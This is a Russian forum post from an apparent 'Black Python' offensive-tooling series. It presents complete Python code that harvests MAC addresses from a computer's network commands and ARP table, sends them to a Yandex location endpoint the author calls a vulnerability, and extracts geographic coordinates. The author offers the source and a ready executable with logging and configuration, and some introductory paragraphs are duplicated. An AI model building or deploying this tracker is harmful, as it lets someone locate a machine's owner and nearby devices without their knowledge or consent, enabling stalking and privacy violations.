Привет, друг!
Продолжаем цикл статей Black Python и в этот раз расскажу, как получить местоположение компьютера.
Способ основан на уязвимости Яндекс метро, а данный модуль является лишь автоматизацией по эксплуатации этой уязвимости.
Наверняка, ты уже слышал про эту уязвимость, но, если вдруг нет, то вот для тебя:
Geo Module
Алгоритм программы:
Начнем с описания базовых функций:
Для получения сырых данных, в которых мы можем найти мак адреса, будем использовать модуль subprocess, который даст нам доступ к командной строке.
Создадим список команд, которые могут выдать нам адреса и поочередно пробуем получить ответ от них. Если ответ получен, то запоминаем его, если произошла ошибка, то игнорируем ее.
В результате выполнения функции вернется многострочный текст, состоящий из выводов командной строки на наши запросы.
Для выделения из всех полученных данных нужные нам адреса, воспользуемся модулем регулярных выражений:
Запустим полученные функции:
Мак адреса нашлись, но для строки url нужно избавиться от символов разделения блоков:
Первый этап закончен, во втором сгенерируем ссылки и получим ответы на запросы к ним. Добавим две функции:
А в main() добавим:
Для отправки запросов используем модуль urllib.request, вернем список удачных ответов:
В полученном списке будут только удачные ответы, так как при ответе <Not found> - вернется 404, что спровоцирует исключение.
Третий этап - разбор структуры xml - получим словарь с координатами:
Обновленный модуль main() выглядит так:
На экран будет выведена подобная структура (в случае успеха):
{'latitude': 45.0386581, 'longitude': 39.0996056, 'nlatitude': 45.0395474, 'nlongitude': 39.1008641}
Полученные наработки:
Рефакторинг наработок в класс, добавление конфигов
geo_raw_filename - путь для сохранения мак адресов и сгенерированных ссылок
coord_filename - путь для сохранения координат
errors_log - путь для сохранения ошибок
Список requirements в данном модуле пуст, все библиотеки стандартные.
Исходники и исполняемый файл с конфигурацией прикрепляю.
Продолжаем цикл статей Black Python и в этот раз расскажу, как получить местоположение компьютера.
Способ основан на уязвимости Яндекс метро, а данный модуль является лишь автоматизацией по эксплуатации этой уязвимости.
Наверняка, ты уже слышал про эту уязвимость, но, если вдруг нет, то вот для тебя:
То ли яндекс постоянно следит за нами, то ли периодически, но в его базах есть данные о нашем местоположении. Не всех конечно, но шанс получить чьи-то данные неплохие.
Доступ к этому механизму открытый, поэтому и было решено написать подобный модуль по автоматизации процесса поиска.
Заменив [mac] на свой мак адрес и перейдя по ссылке:
http://mobile.maps.yandex.net/celli...strength=-1&wifinetworks=[mac]:-65&app=ymetro
в ответе получите xml документ с одним из трех состояний:
Ошибка - неправильные параметры,
данные не найдены - параметры ок, данных нет,
данные с координатами - успех и xml структура.
Доступ к этому механизму открытый, поэтому и было решено написать подобный модуль по автоматизации процесса поиска.
Заменив [mac] на свой мак адрес и перейдя по ссылке:
http://mobile.maps.yandex.net/celli...strength=-1&wifinetworks=[mac]:-65&app=ymetro
в ответе получите xml документ с одним из трех состояний:
Ошибка - неправильные параметры,
данные не найдены - параметры ок, данных нет,
данные с координатами - успех и xml структура.
Geo Module
Алгоритм программы:
- Поиск mac адресов на локальном компьютере
- Генерирование ссылок
- Запросы-Ответы по ссылкам
- Разбор ответов
Начнем с описания базовых функций:
Для получения сырых данных, в которых мы можем найти мак адреса, будем использовать модуль subprocess, который даст нам доступ к командной строке.
Создадим список команд, которые могут выдать нам адреса и поочередно пробуем получить ответ от них. Если ответ получен, то запоминаем его, если произошла ошибка, то игнорируем ее.
Python:
import subprocess
def generate_mac_text():
text_with_mac = []
# Проход по списку команд
for command in ['arp -a', 'ipconfig /all', 'ifconfig -a', 'getmac']:
try:
# Порождаем процесс command
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)
# Получаем результат (как ответ в cmd)
res = process.communicate()[0].decode('cp866')
# Добавляем, если не None, ''
if res: text_with_mac.append(res)
except:
# игнорируем ошибку
pass
return '\n'.join(text_with_mac)
В результате выполнения функции вернется многострочный текст, состоящий из выводов командной строки на наши запросы.
Для выделения из всех полученных данных нужные нам адреса, воспользуемся модулем регулярных выражений:
Python:
import re
def find_mac(raw_text):
re_block = r'[a-zA-Z0-9]{2}'
re_split = r'[\:\-]'
re_mac = fr'{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}'
return [mac for mac in set(re.findall(re_mac, raw_text))]
Запустим полученные функции:
Python:
def main():
raw_text = generate_mac_text()
macs = find_mac(raw_text)
print(macs)
if __name__ == '__main__':
main()
Мак адреса нашлись, но для строки url нужно избавиться от символов разделения блоков:
Python:
def find_mac(raw_text):
re_block = r'[a-zA-Z0-9]{2}'
re_split = r'[\:\-]'
re_mac = fr'{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}'
# Обновление
return [transform_mac(mac) for mac in set(re.findall(re_mac, raw_text))]
def transform_mac(mac):
return mac.replace(':', '').replace('-', '').upper()
Первый этап закончен, во втором сгенерируем ссылки и получим ответы на запросы к ним. Добавим две функции:
Python:
def make_link(mac):
return f"http://mobile.maps.yandex.net/cellid_location/?clid=1866854&lac=-1&cellid=-1&" \
f"operatorid=null&countrycode=null&signalstrength=-1&wifinetworks={mac}:-65&app=ymetro"
def get_links(macs):
return [make_link(mac) for mac in macs]
А в main() добавим:
Python:
links = get_links(macs)
print(links)
Для отправки запросов используем модуль urllib.request, вернем список удачных ответов:
Python:
def find_valid_requests(links):
responses = []
for link in links:
try:
response = urllib.request.urlopen(link)
responses.append(response.read().decode('utf-8'))
except:
pass
return responses
В полученном списке будут только удачные ответы, так как при ответе <Not found> - вернется 404, что спровоцирует исключение.
Третий этап - разбор структуры xml - получим словарь с координатами:
Python:
def get_coordinates_from_xml(response):
# поля документа xml, которые ищем
directions = ['latitude', 'longitude', 'nlatitude', 'nlongitude']
coords = {}
try:
# Парсим запрос
dom = minidom.parseString(response)
# рекомендуется выполнять эту функцию - нормализация xml
dom.normalize()
# ищем координаты
coord = dom.getElementsByTagName('coordinates')[0].attributes
# проходим по всем направлениям и получаем данные из этих полей
for direct in directions:
coords.update(get_coordinate(direct, coord))
except:
pass
def get_coordinate(direct, coord):
try:
return {direct: float(coord[direct].value)}
except:
return {direct: None}
Обновленный модуль main() выглядит так:
Python:
def main():
raw_text = generate_mac_text()
macs = find_mac(raw_text)
links = get_links(macs)
responses = find_valid_response(links)
for response in responses:
coord = get_coordinates_from_xml(response)
print(coord)
Python:
# Аналогичная функция, записанная в две строки
def short_main():
print(get_coordinates_from_xml(response) for response in find_valid_response(get_links(find_mac(generate_mac_text()))))
На экран будет выведена подобная структура (в случае успеха):
{'latitude': 45.0386581, 'longitude': 39.0996056, 'nlatitude': 45.0395474, 'nlongitude': 39.1008641}
Полученные наработки:
Python:
import re
import subprocess
import urllib.request
from xml.dom import minidom
def generate_mac_text():
text_with_mac = []
for command in ['arp -a', 'ipconfig /all', 'ifconfig -a', 'getmac']:
try:
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)
res = process.communicate()[0].decode('cp866')
if res: text_with_mac.append(res)
except:
pass
return '\n'.join(text_with_mac)
def find_mac(raw_text):
re_block = r'[a-zA-Z0-9]{2}'
re_split = r'[\:\-]'
re_mac = fr'{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}'
return [transform_mac(mac) for mac in set(re.findall(re_mac, raw_text))]
def transform_mac(mac):
return mac.replace(':', '').replace('-', '').upper()
def make_link(mac):
return f"http://mobile.maps.yandex.net/cellid_location/?clid=1866854&lac=-1&cellid=-1&" \
f"operatorid=null&countrycode=null&signalstrength=-1&wifinetworks={mac}:-65&app=ymetro"
def get_links(macs):
return [make_link(mac) for mac in macs]
def find_valid_response(links):
responses = []
for link in links:
try:
response = urllib.request.urlopen(link)
responses.append(response.read().decode('utf-8'))
except:
pass
return responses
def get_coordinates_from_xml(response):
directions = ['latitude', 'longitude', 'nlatitude', 'nlongitude']
coords = {}
try:
dom = minidom.parseString(response)
dom.normalize()
coord = dom.getElementsByTagName('coordinates')[0].attributes
for direct in directions:
coords.update(get_coordinate(direct, coord))
except:
pass
return coords
def get_coordinate(direct, coord):
try:
return {direct: float(coord[direct].value)}
except:
return {direct: None}
def main():
raw_text = generate_mac_text()
macs = find_mac(raw_text)
links = get_links(macs)
responses = find_valid_response(links)
for response in responses:
coord = get_coordinates_from_xml(response)
print(coord)
def short_main():
print(get_coordinates_from_xml(res) for res in find_valid_response(get_links(find_mac(generate_mac_text()))))
if __name__ == '__main__':
main()
Рефакторинг наработок в класс, добавление конфигов
JSON:
{
"geo_raw_filename": "result\\geo_raw.json",
"coord_filename": "result\\geo_coord.json",
"errors_log": "result\\geo_error.log"
}
coord_filename - путь для сохранения координат
errors_log - путь для сохранения ошибок
Список requirements в данном модуле пуст, все библиотеки стандартные.
Код:
import os
def make_folders(path):
try:
folder = os.path.dirname(path)
if folder and not os.path.exists(folder):
os.makedirs(folder)
except Exception as e:
raise FileNotFoundError(f'Folder not create! {e}')
Код:
from additional import make_folders
class ErrorLog:
def __init__(self):
self.errors = []
def add(self, module, error):
self.errors.append(f'{module} - {error}')
def error_list(self):
return self.errors
def save_log(self, filename='errors.log'):
make_folders(filename)
if self.errors and filename:
with open(filename, 'w') as error_log_file:
for error in self.errors:
error_log_file.write(f'{error}\n')
Код:
import json
import re
import subprocess
import urllib.request
from xml.dom import minidom
from additional import make_folders
from error_log import ErrorLog
class GeoPosition:
# Список команд для терминала/командной строки
commands = ['arp -a', 'ipconfig /all', 'ifconfig -a', 'getmac']
def __init__(self):
# Списки мак-адресов, ссылок, ответов и координат
self.macs, self.links, self.responses, self.coordinates = [], [], [], []
self.error_log = ErrorLog()
# Запуск поиска координат
self.engine()
def engine(self):
# ищем сырые данные с мак-адресами
self.generate_mac_files()
# Выделяем подходящие маки
self.find_mac()
# Генерируем ссылки
self.get_links()
# Получаем успешные ответы
self.find_valid_requests()
# Получаем координаты для каждого успешного ответа
for response in self.responses:
self.get_coordinates_from_xml(response)
def generate_mac_files(self):
# Проходим по каждой команде
for command in GeoPosition.commands:
try:
# Создаем подпроцесс с командой
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.DEVNULL)
# Получаем вывод результата
res = process.communicate()[0].decode('cp866')
# Добавляем мак в список
if res: self.macs.append(res)
except Exception as e:
self.error_log.add('geo_position (generate_mac_files)', e)
def find_mac(self):
# поиск мак адресов и добавление преобразованных в список
re_block = r'[a-zA-Z0-9]{2}'
re_split = r'[\:\-]'
re_mac = fr'{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}{re_split}{re_block}'
self.macs = [GeoPosition.transform_mac(mac) for mac in set(re.findall(re_mac, '\n'.join(self.macs)))]
@staticmethod
def make_link(mac):
# Ссылка яндекса с "уязвимостью"
return f"http://mobile.maps.yandex.net/cellid_location/?clid=1866854&lac=-1&cellid=-1&" \
f"operatorid=null&countrycode=null&signalstrength=-1&wifinetworks={mac}:-65&app=ymetro"
@staticmethod
def transform_mac(mac):
# Удаление разделителей в мак адресе
return mac.replace(':', '').replace('-', '').upper()
def get_links(self):
self.links = [self.make_link(mac) for mac in self.macs]
def find_valid_requests(self):
# для каждой ссылки
for link in self.links:
try:
# пробуем получить ответ на запрос
response = urllib.request.urlopen(link)
# и добавить его в список
self.responses.append(response.read().decode('utf-8'))
except Exception as e:
self.error_log.add('geo_position (find_valid_requests)', e)
def get_coordinates_from_xml(self, response):
coords = {}
# направления, для поиска элементов в xml
directions = ['latitude', 'longitude', 'nlatitude', 'nlongitude']
try:
# Парсим ответ
dom = minidom.parseString(response)
# Нормализуем структуру
dom.normalize()
# Ищем элемент с координатами
coord = dom.getElementsByTagName('coordinates')[0].attributes
# Для каждого направления получаем содержание
for direct in directions:
coords.update(self.get_coordinate(direct, coord))
# Добавляем координаты в список
self.coordinates.append(coords)
except Exception as e:
self.error_log.add('geo_position (get_coordinates_from_xml)', e)
def get_coordinate(self, direct, coords):
try:
return {direct: float(coords[direct].value)}
except Exception as e:
self.error_log.add('geo_position (get_coordinate)', e)
return {direct: None}
def save_raw(self, raw_filename):
with open(raw_filename, "w") as raw_file:
json.dump({'macs': self.macs, 'links': self.links}, raw_file)
def save_coordinates(self, coord_filename):
if self.coordinates:
with open(coord_filename, "a") as coord_file:
json.dump(self.coordinates, coord_file)
# Функия-менеджер, для связи конфигов и модуля geo
def geo_manager(config):
geo = GeoPosition()
# Создаем папки для сохранения файлов
for filename in ['geo_raw_filename', 'coord_filename']:
make_folders(config[filename])
# Сохраняем сырые данные, если путь задан
if config['geo_raw_filename']:
geo.save_raw(config['geo_raw_filename'])
# Сохраняем координаты, если путь задан
if config['coord_filename']:
geo.save_coordinates(config['coord_filename'])
# Сохраняем лог ошибок, если путь задан
if config['errors_log']:
geo.error_log.save_log(config['errors_log'])
if __name__ == '__main__':
try:
# Для изменения конфигурации "на лету" настройки будем получать из файла
with open('config.json', 'r') as config_file:
geo_config = json.load(config_file)
# Запуск механизма с загруженными настройками
geo_manager(geo_config)
except Exception as e:
print(e)
Исходники и исполняемый файл с конфигурацией прикрепляю.